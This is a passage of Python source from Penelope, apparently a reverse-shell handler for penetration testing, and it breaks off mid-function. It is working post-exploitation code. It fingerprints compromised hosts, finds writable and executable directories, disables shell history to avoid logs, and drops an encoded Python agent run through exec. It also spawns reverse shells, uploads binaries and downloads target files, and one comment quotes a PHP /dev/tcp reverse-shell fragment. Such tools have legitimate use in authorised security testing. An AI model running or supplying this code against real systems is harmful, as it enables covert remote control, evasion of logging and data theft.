sanitize_meta(extract_value(r"^OS Name:\s+(.+)")) self.arch = sanitize_meta(extract_value(r"^System Type:\s+(.+)")) return True def get_shell_info(self, silent=False): self.shell_pid = self.get_shell_pid() self.user = self.get_user() if self.OS == 'Unix': self.tty = self.get_tty(silent=silent) def get_shell_pid(self): if self.OS == 'Unix': response = self.exec("echo $$", agent_typing=True, value=True) elif self.OS == 'Windows': return None if not (isinstance(response, str) and response.isnumeric()): logger.error(f"Cannot get the PID of the shell...") return False return response def get_user(self): if self.OS == 'Unix': response = self.exec("echo \"$(id -un)($(id -u))\"", agent_typing=True, value=True) elif self.OS == 'Windows': response = self.exec("whoami", force_cmd=True, value=True) if response: if "\n" in response: response = response.splitlines()[-1] # conptyshell if '\x07' in response: response = response.split('\x07')[-1] # conptyshell cmd return sanitize_meta(response) if response else '' def write_access(self, directory): try: if self.OS == 'Unix': if self.agent: if not self.exec( f"stdout_stream << str(os.access(normalize_path({directory!r}), os.W_OK)).encode()", python=True, value=True ) == 'True': logger.error(f"{directory}: Permission denied") return False else: if directory.startswith('~'): directory = self.exec(f"echo {directory}", value=True) access = self.exec(f"[ -w \"{directory}\" ];echo $?", value=True) if not (isinstance(access, str) and access.strip().isdigit()): logger.error(f"Cannot check write permissions for {directory}. Aborting...") return None if int(access): logger.error(f"{directory}: Permission denied") return False elif self.OS == 'Windows': write_test_file = str(PureWindowsPath(directory) / f"{rand(16)}.tmp") cmd = ( f'type nul > "{write_test_file}" 2>nul && (echo OK) || (echo NO) ' f'& del /f /q "{write_test_file}" 2>nul' ) response = self.exec(cmd, force_cmd=True, value=True) if response != "OK": logger.error(f"{directory}: Access is denied.") return False except Exception as e: logger.error(e) logger.warning("Cannot check remote permissions. Aborting...") return None return True def get_remote_completion(self, text): """ Obtain file and directory completions from the remote shell. """ text = text if text else "" try: if self.agent: code = ( f"import glob, os; " f"matches = glob.glob({(text + '*')!r}); " f"result = '\\n'.join([p + '/' if os.path.isdir(p) else p for p in matches]); " f"stdout_stream << result.encode()" ) result = self.exec(code, python=True, value=True) if result: return result.splitlines() elif self.OS == 'Unix': safe_pattern = shlex.quote(text) + "*" cd = f"cd {shlex.quote(self.cwd)} 2>/dev/null; " if self.cwd else "" cmd = f"{cd}ls -p -1 -d {safe_pattern} 2>/dev/null" result = self.exec(cmd, value=True) if result: return result.splitlines() elif self.OS == 'Windows': win_text = text.replace('/', '\\') sep = "PENELOPE_SEP" cmd = (f'dir /b /ad "{win_text}*" 2>NUL & echo {sep}' f' & dir /b /a-d "{win_text}*" 2>NUL') result = self.exec(cmd, force_cmd=True, value=True) if result: cut = max(text.rfind('/'), text.rfind('\\')) head = text[:cut + 1] dirs_part, _, files_part = result.partition(sep) bad = ("File Not Found", "The system cannot find", "Volume in drive", "Directory of") matches = [] for name in dirs_part.splitlines(): name = name.strip() if name and not any(b in name for b in bad): matches.append(head + name + "\\") for name in files_part.splitlines(): name = name.strip() if name and not any(b in name for b in bad): matches.append(head + name) return matches except Exception: pass return [] def get_tty(self, silent=False): response = self.exec("tty", agent_typing=True, value=True) # TODO check binary if not (isinstance(response, str) and response.startswith('/')): if not silent: logger.error(f"Cannot get the TTY of the shell. Response:\r\n{paint(response).white}") return False return response @property def cwd(self): if self._cwd is None: if self.OS == 'Unix': cmd = ( f"readlink /proc/{self.shell_pid}/cwd 2>/dev/null || " f"lsof -p {self.shell_pid} 2>/dev/null | awk '$4==\"cwd\" {{print $9;exit}}' | grep . || " f"procstat -f {self.shell_pid} 2>/dev/null | awk '$3==\"cwd\" {{print $NF;exit}}' | grep . || " f"pwdx {self.shell_pid} 2>/dev/null | awk '{{print $2;exit}}' | grep ." ) self._cwd = self.exec(cmd, value=True) elif self.OS == 'Windows': self._cwd = self.exec("cd", force_cmd=True, value=True) return self._cwd or '' @property def is_attached(self): return core.attached_session is self @property def bin(self): if not self._bin: binaries = [] try: if self.OS == "Unix": binaries = [ "sh", "bash", "python", "python3", "uname", "tty", "echo", "base64", "wget", "curl", "tar", "rm", "stty", "find", "nc", "gzip", "chmod", "tr", "sed", "stat", "awk", "tail", "cut", "df", "id", "cat", "mkfifo", "grep", "mktemp" ] response = self.exec(f'for i in {" ".join(binaries)}; do which $i 2>/dev/null || echo;done') if response: self._bin.update(zip(binaries, response.decode(errors="replace").splitlines())) missing = [b for b in binaries if not os.path.isabs(self._bin[b])] if missing: logger.debug(paint(f"We didn't find the binaries: {missing}. Trying another method").red) response = self.exec( f'for bin in {" ".join(missing)}; do for dir in ' f'$(printf %s "$PATH" | tr ":" " ") ' f'{" ".join(LINUX_PATH.split(":"))}; do _bin=$dir/$bin; ' 'test -x "$_bin" && break || unset _bin; done; echo "$_bin"; done' ) if response: self._bin.update(dict(zip(missing, response.decode(errors="replace").splitlines()))) for binary in options.no_bins: self._bin[binary] = None result = "\n".join([f"{b}: {self._bin[b]}" for b in binaries]) logger.debug(f"Available binaries on target: \n{paint(result).red}") except Exception as e: logger.error(f"Binary discovery failed: {e}") return self._bin @property def tmp(self): if self._tmp is None: if self.OS == "Unix": logger.debug("Trying to find a writable directory on target") name = rand(10) resolved = self.exec( 'for d in /dev/shm /tmp /var/tmp "$HOME" .; do ' f'echo x > "$d/{name}" 2>/dev/null && ' f'{{ (cd "$d" && pwd); rm -f "$d/{name}"; break; }}; done', value=True) self._tmp = resolved if (isinstance(resolved, str) and resolved.startswith("/")) else False if not self._tmp: logger.warning( "No writable directory found. Find one with:\n" " find / -type d -writable 2>/dev/null | head\n" "then `cd` into it and retry.") else: logger.debug(f"Available writable directory on target: {paint(self._tmp).RED}") elif self.OS == "Windows": self._tmp = self.exec("echo %TEMP%", force_cmd=True, value=True) return self._tmp @property def exec_tmp(self): if self._exec_tmp is None and self.OS == "Unix": name = rand(10) resolved = self.exec( 'for d in /dev/shm /tmp /var/tmp "$HOME" .; do ' f'D="$d/{name}"; mkdir -p "$D" 2>/dev/null || continue; ' '{ echo "#!/bin/sh"; echo "exit 0"; } > "$D/t" 2>/dev/null && ' 'chmod +x "$D/t" 2>/dev/null && "$D/t" >/dev/null 2>&1 && ' '{ (cd "$d" && pwd); rm -rf "$D"; break; }; rm -rf "$D" 2>/dev/null; done', value=True) if isinstance(resolved, str) and resolved.startswith("/"): self._exec_tmp = resolved else: logger.warning( "No writable+executable directory found (noexec?). Find one with:\n" " find / -type d -writable -executable 2>/dev/null | head\n" "then `cd` into it and retry.") return self._exec_tmp def agent_only(func): @wraps(func) def newfunc(self, *args, **kwargs): if not self.agent: if not self.upgrade_attempted and self.can_deploy_agent: logger.warning("This can only run in python agent mode. I am trying to deploy the agent") self.upgrade() if not self.agent: logger.error("Failed to deploy agent") return False else: logger.error("This can only run in python agent mode") return False return func(self, *args, **kwargs) return newfunc def persistent_shell_only(func): @wraps(func) def newfunc(self, *args, **kwargs): if not self.agent and not self.has_persistent_shell: logger.error( "This shell runs each command in a fresh process; " f"'{func.__name__}' needs a persistent shell. Run 'spawn' " "and use the resulting session." ) return [] return func(self, *args, **kwargs) return newfunc def prefer_agent(func): @wraps(func) def newfunc(self, *args, **kwargs): if (not self.agent and not self.upgrade_attempted and not options.no_upgrade and self.can_deploy_agent): logger.debug(f"'{func.__name__}' prefers the agent; attempting upgrade") self.upgrade() return func(self, *args, **kwargs) return newfunc def require(*binaries): def inner(func): @wraps(func) def newfunc(self, *args, **kwargs): if self.OS == 'Unix' and not self.agent: for binary in binaries: if not self.bin[binary]: logger.error(f"'{binary}' binary is not available at the target. Cannot {func.__name__}...") return [] return func(self, *args, **kwargs) return newfunc return inner def tcp_signal(self): TCP_INFO = getattr(socket, 'TCP_INFO', None) if TCP_INFO is None: return None try: buf = self.socket.getsockopt(socket.IPPROTO_TCP, TCP_INFO, 104) except OSError: return None if len(buf) < 104: return None rtt = struct.unpack_from('I', buf, 68)[0] / 1000.0 jitter = struct.unpack_from('I', buf, 72)[0] / 1000.0 retrans = struct.unpack_from('I', buf, 100)[0] return rtt, jitter, retrans def send(self, data, stdin=False): with self.wlock: if not self in core.rlist: return False self.outbuf.seek(0, io.SEEK_END) _len = self.outbuf.write(data) if self not in core.wlist: core.wlist.append(self) if not stdin: core.control << None return _len def record(self, data, _input=False): self.last_lines << data if not options.no_log: self.log(data, _input) def log(self, data, _input=False): #data=re.sub(rb'(\x1b\x63|\x1b\x5b\x3f\x31\x30\x34\x39\x68|\x1b\x5b\x3f\x31\x30\x34\x39\x6c)', b'', data) data = re.sub(rb'\x1b\x63', b'', data) # Need to include all Clear escape codes if _input: data = re.sub(rb'[^\r\n]+', lambda m: str(paint(m.group().decode(errors="replace")).GREEN_white).encode(), data) if not options.no_timestamps: timestamp = datetime.now().strftime(LOG_TIMESTAMP_FMT) if not options.no_colored_timestamps: timestamp = paint(timestamp).magenta data = re.sub(rb'\r\n|\r|\n|\v|\f', rf"\g<0>{timestamp}".encode(), data) with self.log_lock: try: self.logfile.write(data) except ValueError: logger.debug("The session killed abnormally") def _activate_log(self, logfile): with self.log_lock: if self.logfile.closed: logfile.close() return False if not options.no_timestamps: logfile.write(str(paint(datetime.now().strftime(LOG_TIMESTAMP_FMT)).magenta).encode()) logfile.write(self.logfile.getvalue()) self.logfile.close() self.logfile = logfile return True def determine(self, path=False): var_name1, var_name2, var_value1, var_value2 = (rand(4) for _ in range(4)) def expect(data): data = data.decode(errors="replace") if var_value1 + var_value2 in data: return True elif f"'{var_name1}' is not recognized as an internal or external command" in data: return re.search('batch file.\r\n', data, re.DOTALL) elif re.search(r'PS[^\r\n]*>', data, re.DOTALL): return True elif f"The term '{var_name1}={var_value1}' is not recognized as the name of a cmdlet" in data: return re.search('or operable.*>', data, re.DOTALL) elif re.search('Microsoft Windows.*>', data, re.DOTALL): return True elif re.search(r'(?\s*$', data): return True response = self.exec( f" {var_name1}={var_value1} {var_name2}={var_value2}; echo ${var_name1}${var_name2}\n", raw=True, expect_func=expect ) if response: response = response.decode(errors="replace") if var_value1 + var_value2 in response: self.OS = 'Unix' self.echoing = f"echo ${var_name1}${var_name2}" in response echoed_cmd = f" {var_name1}={var_value1} {var_name2}={var_value2}; echo ${var_name1}${var_name2}" if self.echoing and echoed_cmd in response: head = response.split(echoed_cmd, 1)[0] else: head = response.split(var_value1 + var_value2, 1)[0] self.interactive = bool(head.strip()) self.prompt = head.splitlines()[-1].encode() if self.interactive else b"" if not options.keep_history: self.exec("export HISTFILE=/dev/null HISTCONTROL=ignorespace 2>/dev/null") elif f"The term '{var_name1}={var_value1}' is not recognized as the name of a cmdlet" in response or \ re.search(r'PS[^\r\n]*>', response, re.DOTALL): self.OS = 'Windows' self.type = 'Raw' self.subtype = 'psh' self.interactive = True self.echoing = False self.prompt = response.splitlines()[-1].encode() elif f"'{var_name1}' is not recognized as an internal or external command" in response or \ re.search('Microsoft Windows.*>', response, re.DOTALL) or \ re.search(r'(?\s*$', response): self.OS = 'Windows' self.type = 'Raw' self.subtype = 'cmd' self.interactive = True self.echoing = True prompt = re.search(r"\r\n\r\n([a-zA-Z]:\\.*>)", response, re.MULTILINE) self.prompt = prompt[1].encode() if prompt else b"" win_version = re.search(r"Microsoft Windows \[.* (.*)\]", response, re.DOTALL) if win_version: self.win_version = win_version[1] else: return False if self.OS == 'Windows' and response and '\x1b' in response: self.type = 'PTY' self.echoing = True if self.subtype == 'psh': columns, lines = shutil.get_terminal_size() cmd = ( f"$width={columns}; $height={lines}; " "$Host.UI.RawUI.BufferSize = New-Object Management.Automation.Host.Size ($width, $height); " "$Host.UI.RawUI.WindowSize = New-Object -TypeName System.Management.Automation.Host.Size " "-ArgumentList ($width, $height)" ) self.exec(cmd) self.prompt = response.split()[-1].encode() self.get_shell_info(silent=True) if self.tty: self.type = 'PTY' if self.type == 'PTY': self.pty_ready = True return True def exec( self, cmd=None, # The command line to run raw=False, # Delimiters value=False, # Will use the output elsewhere? timeout=False, # Timeout expect_func=None, # Function that determines what to wait for in the response force_cmd=False, # Execute cmd command from powershell separate=False, # If true, send cmd via this method but receive with TLV method (agent) # --- Agent only args --- agent_typing=False, # Simulate typing on shell python=False, # Execute python command stdin_src=None, # stdin stream source stdout_dst=None, # stdout stream destination stderr_dst=None, # stderr stream destination stdin_stream=None, # stdin_stream object stdout_stream=None, # stdout_stream object stderr_stream=None, # stderr_stream object agent_control=None # control queue ): if self.agent and not agent_typing: # Environment will not be the same as the PTY shell if cmd: cmd = dedent(cmd) cmd_bytes = cmd.encode() max_cmd = Messenger.MAX_PAYLOAD - 1 - 3 * Messenger.STREAM_BYTES if len(cmd_bytes) > max_cmd: logger.error(f"Command too long for agent: {len(cmd_bytes)} bytes (max {max_cmd})") return if value: buffer = io.BytesIO() timeout = self.timeout_short if value else None own_stdin = stdin_stream is None own_stdout = stdout_stream is None own_stderr = stderr_stream is None allocated_streams = [] def cleanup_allocated_streams(): for stream in allocated_streams: stream.close() self.streams.pop(stream.id, None) if not stdin_stream: stdin_stream = self.new_streamID if not stdin_stream: cleanup_allocated_streams() return allocated_streams.append(stdin_stream) if not stdout_stream: stdout_stream = self.new_streamID if not stdout_stream: cleanup_allocated_streams() return allocated_streams.append(stdout_stream) if not stderr_stream: stderr_stream = self.new_streamID if not stderr_stream: cleanup_allocated_streams() return allocated_streams.append(stderr_stream) _type = 'S'.encode() if not python else 'P'.encode() self.send(Messenger.message( Messenger.EXEC, _type + stdin_stream.id + stdout_stream.id + stderr_stream.id + cmd_bytes )) logger.debug(cmd) #print(stdin_stream.id, stdout_stream.id, stderr_stream.id) rlist = [] if stdin_src: rlist.append(stdin_src) if stdout_dst or value: rlist.append(stdout_stream) if stderr_dst or value: rlist.append(stderr_stream) # FIX if not rlist: if own_stdin: try: stdin_stream.write(b"") except OSError: pass cleanup_allocated_streams() return True if not agent_control: agent_control = self.subchannel.control # TEMP rlist.append(agent_control) def _selectable(x): try: select([x], [], [], 0) return True except (ValueError, OSError): return False pending = {} closing = set() while rlist != [agent_control]: wlist = [dst for dst in pending if pending[dst]] try: r, w, _ = select(rlist, wlist, [], timeout) except (ValueError, OSError): rlist = [x for x in rlist if _selectable(x)] if not rlist or rlist == [agent_control]: break continue timeout = None for dst in w: try: pending[dst] = pending[dst][dst.send(pending[dst]):] except BlockingIOError: pass except OSError: pending[dst] = b"" closing.add(dst) for dst in tuple(closing): if not pending.get(dst): if dst in rlist: rlist.remove(dst) closing.discard(dst) if not r and not w: break # timeout for readable in r: if readable is agent_control: command = agent_control.get() if command == 'stop': # TODO kill task here... break if readable is stdin_src: if hasattr(stdin_src, 'read'): # FIX data = stdin_src.read(options.network_buffer_size) elif hasattr(stdin_src, 'recv'): try: data = stdin_src.recv(options.network_buffer_size) except BlockingIOError: continue except OSError: data = b"" else: data = b"" stdin_stream.write(data) if not data: if stdin_src in rlist: rlist.remove(stdin_src) if readable is stdout_stream: data = readable.read(options.network_buffer_size) if value: buffer.write(data) elif stdout_dst: if hasattr(stdout_dst, 'write'): # FIX stdout_dst.write(data) stdout_dst.flush() elif data: pending[stdout_dst] = pending.get(stdout_dst, b"") + data else: closing.add(stdout_dst) if not data: rlist.remove(readable) del self.streams[readable.id] if readable is stderr_stream: data = readable.read(options.network_buffer_size) if value: buffer.write(data) elif stderr_dst: if hasattr(stderr_dst, 'write'): # FIX stderr_dst.write(data) stderr_dst.flush() elif data: pending[stderr_dst] = pending.get(stderr_dst, b"") + data else: closing.add(stderr_dst) if not data: rlist.remove(readable) del self.streams[readable.id] else: continue break try: stdin_stream.write(b"") except OSError: pass for stream in (stdin_stream, stdout_stream, stderr_stream): stream.close() self.streams.pop(stream.id, None) return buffer.getvalue().rstrip().decode(errors="replace") if value else True return None with self.lock: if not self or not self.subchannel.can_use: logger.debug("Exec: The session is killed") return False self.subchannel.control.clear() with self.data_route_lock: self.subchannel.active = True self.subchannel.result = None buffer = io.BytesIO() _start = time.perf_counter() # Constructing the payload if cmd is not None: if force_cmd and self.subtype == 'psh': cmd_b64 = base64.b64encode(cmd.encode()).decode() cmd = ( f"$c=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{cmd_b64}'));" "& $env:ComSpec /d /s /c $c" ) initial_cmd = cmd cmd = cmd.encode() if raw: if self.OS == 'Unix': echoed_cmd_regex = rb' ' + re.escape(cmd) + rb'\r?\n' cmd = b' ' + cmd + b'\n' elif self.OS == 'Windows': cmd = cmd + b'\r\n' echoed_cmd_regex = re.escape(cmd) else: token = [rand(10) for _ in range(4)] if self.OS == 'Unix': cmd = ( f" {token[0]}={token[1]} {token[2]}={token[3]};" f"printf ${token[0]}${token[2]};" f"{initial_cmd};" f"printf ${token[2]}${token[0]}\n".encode() ) elif self.OS == 'Windows': # TODO fix logic if self.subtype == 'cmd': cmd = ( f"set {token[0]}={token[1]}&set {token[2]}={token[3]}\r\n" f"echo %{token[0]}%%{token[2]}%&{initial_cmd}&" f"echo %{token[2]}%%{token[0]}%\r\n".encode() ) elif self.subtype == 'psh': cmd = ( f"$env:{token[0]}=\"{token[1]}\";$env:{token[2]}=\"{token[3]}\"\r\n" f"echo $env:{token[0]}$env:{token[2]};{initial_cmd};" f"echo $env:{token[2]}$env:{token[0]}\r\n".encode() ) # TODO check the maxlength on powershell if self.subtype == 'cmd' and len(cmd) > MAX_CMD_PROMPT_LEN: logger.error(f"Max cmd prompt length: {MAX_CMD_PROMPT_LEN} characters") return False self.subchannel.pattern = re.compile( rf"{token[1]}{token[3]}(.*){token[3]}{token[1]}" rf"{'.' if self.interactive else ''}".encode(), re.DOTALL) logger.debug(f"\n\n{paint(f'Command for session {self.id}').YELLOW}: {initial_cmd}") logger.debug(f"{paint('Command sent').yellow}: {cmd.decode()}") if self.agent and agent_typing: cmd = Messenger.message(Messenger.SHELL, cmd) self.send(cmd) data_timeout = self.timeout_short if timeout is False else timeout continuation_timeout = options.latency timeout = data_timeout last_data = time.perf_counter() need_check = False first_byte = True try: while self.subchannel.result is None: logger.debug(paint(f"Waiting for data (timeout={timeout})...").blue) readables, _, _ = select([self.subchannel.control, self.subchannel], [], [], timeout) if self.subchannel.control in readables: command = self.subchannel.control.get() logger.debug(f"Subchannel Control Queue: {command}") if command == 'stop': self.subchannel.result = False break if self.subchannel in readables: now = time.perf_counter() if first_byte: rtt = now - last_data self.latency = rtt if self.latency is None else 0.7 * self.latency + 0.3 * rtt first_byte = False logger.debug(f"Latency: {now - last_data}") last_data = now data = self.subchannel.read() buffer.write(data) logger.debug(f"{paint('Received').GREEN} -> {data}") if timeout == data_timeout: timeout = continuation_timeout need_check = True else: if timeout == data_timeout: logger.debug(paint("TIMEOUT").RED) self.subchannel.result = False break else: need_check = True timeout = data_timeout if need_check: need_check = False if raw and self.echoing and cmd: result = buffer.getvalue() if re.search(echoed_cmd_regex + (b'.' if self.interactive else b''), result, re.DOTALL): self.subchannel.result = re.sub(echoed_cmd_regex, b'', result) break else: logger.debug("The echoable is not exhausted") continue if not raw: check = self.subchannel.pattern.search(buffer.getvalue()) if check: logger.debug(paint('Got all data!').green) self.subchannel.result = check[1] break logger.debug(paint('We didn\'t get all data; continue receiving').yellow) elif expect_func: if expect_func(buffer.getvalue()): logger.debug(paint("The expected strings found in data").yellow) self.subchannel.result = buffer.getvalue() else: logger.debug(paint('No expected strings found in data. Receive again...').yellow) else: logger.debug(paint('Maybe got all data !?').yellow) self.subchannel.result = buffer.getvalue() break except Exception: self.subchannel.can_use = False self.subchannel.result = False _stop = time.perf_counter() logger.debug(f"{paint('FINAL TIME: ').white_BLUE}{_stop - _start}") if value and self.subchannel.result is not False: if self.OS == 'Windows' and self.type == 'PTY': # quirk self.subchannel.result = re.sub(rb'\x1b\[(?:K|\?25h|25l|82X)', b'', self.subchannel.result) self.subchannel.result = self.subchannel.result.strip().decode(errors="replace") # TODO check strip logger.debug(f"{paint('FINAL RESPONSE: ').white_BLUE}{self.subchannel.result}") if separate: if not self.subchannel.result: with self.data_route_lock: self.subchannel.active = False return False marker = struct.pack(Messenger._TYPE_CODE, Messenger.SHELL) idx = self.subchannel.result.find(marker, Messenger.LEN_BYTES) if idx < 0: with self.data_route_lock: self.subchannel.active = False return False framed_result = self.subchannel.result[idx - Messenger.LEN_BYTES:] buffer = io.BytesIO() for _type, _value in self.messenger.feed(framed_result): buffer.write(_value) with self.data_route_lock: self.agent = True self.subchannel.active = False return buffer.getvalue() with self.data_route_lock: self.subchannel.active = False return self.subchannel.result def _deploy_standalone_python(self, url_key): if not url_key: return False archive = self.need_binary("Standalone Python", URLS[url_key]) if not archive: return False path = self.exec( f'D="$(dirname "{archive}")" && tar -xzf "{archive}" -C "$D" 2>/dev/null && ' f'rm -f "{archive}" && ' f'"$D/python/bin/python3" -c "import sys;print(sys.executable)" 2>/dev/null', value=True ) return path if (isinstance(path, str) and path.startswith("/")) else False def need_binary(self, name, url): if self.OS == "Unix" and not self.exec_tmp: logger.error(f"No writable+executable directory on the target; cannot deploy {name}") return False def make_dest(): if self.OS != "Unix": return self.tmp d = self.exec(f'mktemp -d -p "{self.exec_tmp}" 2>/dev/null', value=True) if not (isinstance(d, str) and d.startswith("/")): logger.error(f"Could not create a temp directory for {name}") return None self.uploaded_paths[shlex.quote(d)] = int(time.time()) return d _options = ( f"\n 1) Upload {paint(url).blue}{paint().magenta}" f"\n 2) Upload local {name} binary" f"\n 3) Specify remote {name} binary path" "\n 4) None of the above\n" ) while True: print(paint(_options).magenta) answer = ask("Select action: ") if answer == "1": dest = make_dest() if not dest: return False uploaded = self.upload(url, remote_path=dest) return uploaded[0] if uploaded else False elif answer == "2": local_path = ask(f"Enter {name} local path: ") if local_path: if os.path.exists(local_path): dest = make_dest() if not dest: return False uploaded = self.upload(local_path, remote_path=dest) return uploaded[0] if uploaded else False else: logger.error("The local path does not exist...") elif answer == "3": remote_path = ask(f"Enter {name} remote path: ") if remote_path: if not self.exec(f"test -f {remote_path} || echo x"): return remote_path else: logger.error("The remote path does not exist...") elif answer == "4": return False elif not answer and not sys.stdin.isatty(): return False def upgrade(self): self.upgrade_attempted = True if self.OS == "Unix": if self.agent: logger.warning("Python Agent is already deployed") return False self.shell = self.bin['bash'] or self.bin['sh'] if not self.shell: logger.error("Cannot detect shell. Abort upgrading...") return False if not self.has_persistent_shell: logger.warning( "Non-persistent shell (fresh process per command); the Python " "agent cannot attach in-band. Spawning a persistent reverse " "shell on the same listener to upgrade." ) if self.spawn(): self.type = 'Readline' return True logger.error("Could not spawn a persistent shell for upgrade") if readline: self.type = 'Readline' return True return False standalone_file = self.directory / "standalone_python" if not self.standalone_python and standalone_file.exists(): self.standalone_python = standalone_file.read_text().strip() self._bin['python3'] = self.standalone_python self._can_deploy_agent = None logger.debug(f"Reusing standalone python from previous shell: {self.standalone_python}") if self.can_deploy_agent: logger.debug("Attempting to deploy Python Agent...") _bin = self.bin['python3'] or self.bin['python'] if self.remote_python_version >= (3,): _decode = 'b64decode' _exec = 'exec(cmd, globals(), locals())' else: _decode = 'decodestring' _exec = 'exec cmd in globals(), locals()' agent = dedent('\n'.join(AGENT.splitlines()[1:])).format( self.shell, options.network_buffer_size, MESSENGER, STREAM, self.bin['sh'] or self.bin['bash'], _exec ) payload = base64.b64encode(compress(agent.encode(), 9)).decode() cmd = f'{_bin} -Wignore -c \'import base64,zlib;exec(zlib.decompress(base64.{_decode}("{payload}")))\'' if self.pty_ready: self.exec("stty -echo") self.echoing = False elif self.interactive: # Some shells are unstable in interactive mode # For example: & /dev/tcp/X.X.X.X/4444 0>&1"); ?> # Silently convert the shell to non-interactive before PTY upgrade. self.interactive = False self.exec(f"exec {self.shell}", raw=True, timeout=max(self.latency or 0, 0.5)) self.echoing = False shell_marker = struct.pack(Messenger._TYPE_CODE, Messenger.SHELL) response = self.exec( f'export TERM=xterm-256color; export SHELL={self.shell}; {cmd}', separate=True, expect_func=lambda data: shell_marker in data, raw=True ) if not isinstance(response, bytes): if self.standalone_python: logger.error("The standalone agent crashed the shell. I am killing it, sorry...") standalone_file = self.directory / "standalone_python" if standalone_file.exists(): standalone_file.unlink() else: logger.error("The shell became unresponsive. I am killing it, sorry... Next time I will use a standalone python") Path(self.directory / ".noagent").touch() self.kill() return False logger.info(f"{EMOJIS['agent']} Agent deployed via {paint(_bin).green}") self.type = 'PTY' self.interactive = True self.echoing = True self.prompt = response self.get_shell_info() if self.standalone_python: (self.directory / "standalone_python").write_text(self.standalone_python) return True if not self.upgrade_standalone_attempted: self.upgrade_standalone_attempted = True logger.error("Cannot deploy agent with remote Python. Select an action below:") key = (self.system, self.arch, self.libc) if self.system == 'Linux' else (self.system, self.arch) dyn_key = PYTHON_STANDALONE_BINARIES.get(key) python_binary = self._deploy_standalone_python(dyn_key) if not python_binary: logger.error(f'Failed to deploy standalone python for {self.system} {self.arch} ({self.libc})') return False self.standalone_python = python_binary self._can_deploy_agent = None self._bin['python3'] = python_binary return self.upgrade() logger.error("Cannot deploy agent...") if readline: logger.info("Readline support enabled") self.type = 'Readline' return True else: logger.error("Falling back to Raw shell") return False elif self.OS == "Windows": if self.type != 'PTY': self.type = 'Readline' logger.info("Added readline support...") return True def update_pty_size(self): columns, lines = shutil.get_terminal_size() if self.OS == 'Unix': if self.agent: self.send(Messenger.message(Messenger.RESIZE, struct.pack("HH", lines, columns))) elif self.OS == 'Windows': # TODO pass def readline_loop(self): while core.attached_session == self: try: cmd = input("\033[s\033[u", self.histfile, options.histlength, None, "\t") # TODO if self.subtype == 'cmd': assert len(cmd) <= MAX_CMD_PROMPT_LEN #self.record(b"\n" + cmd.encode(), _input=True) except EOFError: self.detach() break except (KeyboardInterrupt, OSError): break except AssertionError: logger.error(f"Maximum prompt length is {MAX_CMD_PROMPT_LEN} characters. Current prompt is {len(cmd)}") else: if core.attached_session == self: self.record(cmd.encode() + b"\n", _input=True) self.send(cmd.encode() + b"\n") def attach(self): if threading.current_thread().name != 'Core': self.attaching = True if self.new: upgrade_conditions = [ not options.no_upgrade, not self.upgrade_attempted ] if all(upgrade_conditions): self.upgrade() if self.prompt: self.record(self.prompt) self.new = False for module in modules().values(): if module.enabled and module.on_first_attach: module.run(self, None) if not self.attaching: return False core.control << (lambda: core.sessions[self.id].attach()) return True if core.attached_session is not None: self.attaching = False return False if self.type == 'PTY': escape_key = options.escape['key'] elif self.type == 'Readline': escape_key = 'Ctrl-D' else: escape_key = 'Ctrl-C' logger.info( f"Interacting with session {paint('[' + str(self.id) + ']').red}" f"{paint(' •').green} {paint(self.type).CYAN_white}{paint(' • Menu key').green} " f"{paint(escape_key).MAGENTA_white} ⇐" ) if not options.no_log: logger.info(f"Session log: {paint(self.logpath).yellow_DIM}") print(paint('─' * shutil.get_terminal_size()[0]).darkgrey) core.attached_session = self self.attaching = False menu.active.clear() core.rlist.append(sys.stdin) stdout(bytes(self.last_lines)) if self.type == 'PTY': tty.setraw(sys.stdin) os.kill(os.getpid(), signal.SIGWINCH) elif self.type == 'Readline': self._readline_thread = threading.Thread(target=self.readline_loop, daemon=True) self._readline_thread.start() self._cwd = None return True def sync_cwd(self): self._cwd = None if self.agent: self.exec(f"os.chdir({self.cwd!r})", python=True, value=True) def get_subtype(self): response = self.exec("$PSVersionTable", expect_func=lambda x: b":\\" in x, raw=True) if response: if b"SerializationVersion" in response: self.subtype = 'psh' else: self.subtype = 'cmd' def detach(self): if self and self.OS == 'Unix' and self.agent: threading.Thread(target=self.sync_cwd).start() if self and self.OS == 'Windows' and self.type != 'PTY': threading.Thread(target=self.get_subtype).start() if threading.current_thread().name != 'Core': core.control << (lambda: core.sessions[self.id].detach()) return if core.attached_session is None: return False core.wait_input = False core.attached_session = None core.rlist.remove(sys.stdin) if self.type == 'Readline': if hasattr(self, '_readline_thread') and self._readline_thread.is_alive(): self._readline_thread.join(timeout=2) if self.type == 'PTY': restore_tty() if self.id in core.sessions: print() logger.warning("Session detached ⇲") menu.set_id(self.id) else: if options.single_session and not core.sessions: core.stop() logger.info("Penelope exited due to Single Session mode") return menu.set_id(None) menu.show() return True @persistent_shell_only @prefer_agent @require('tar', 'base64', 'tr', 'cut') def download(self, remote_items, download_folder=None, reroot=False): if self.OS == 'Windows' and remote_items.count('"') % 2: remote_items += '"' # Initialization try: parts = shlex.split(remote_items, posix=(self.OS != 'Windows')) except ValueError as e: logger.error(e) return [] strip_prefixes = None if reroot: strip_prefixes = sorted( {os.path.dirname(os.path.normpath(os.path.join(self.cwd, p))).lstrip('/') for p in parts}, key=len, reverse=True) local_download_folder = Path(os.path.abspath(normalize_path(download_folder))) if download_folder else self.directory / "downloads" try: local_download_folder.mkdir(parents=True, exist_ok=True) except Exception as e: logger.error(e) return [] if self.OS == 'Unix': # Check for local available space available_bytes = shutil.disk_usage(local_download_folder).free if self.agent: block_size = os.statvfs(local_download_folder).f_frsize response = self.exec(f"{GET_GLOB_SIZE}" f"stdout_stream << str(get_glob_size({repr(remote_items)}, {block_size}, {repr(options.link_dereference)})).encode()", python=True, value=True ) try: remote_size = int(float(response)) except Exception: logger.error(response) return [] else: cmd = f"du -ck {' '.join(shell_escape_glob(os.path.join(self.cwd, part)) for part in shlex.split(remote_items))}" response = self.exec(cmd, timeout=None, value=True) if not response: logger.error("Cannot determine remote size") return [] last_fields = response.splitlines()[-1].split() if not (last_fields and last_fields[0].isdigit()): logger.error("Cannot determine remote size") return [] remote_size = int(last_fields[0]) * 1024 need = remote_size - available_bytes if need > 0: logger.error( f"--- Not enough space to download... {paint('We need ').blue}" f"{paint().yellow}{need:,}{paint().blue} more bytes..." ) return [] # Packing and downloading if self.agent: stdin_stream = self.new_streamID stdout_stream = self.new_streamID stderr_stream = self.new_streamID if not all([stdout_stream, stderr_stream]): return [] code = fr""" from glob import glob items = [] for part in shlex.split({repr(remote_items)}): _items = glob(normalize_path(part)) if _items: items.extend(_items) else: items.append(part) import tarfile if hasattr(tarfile, 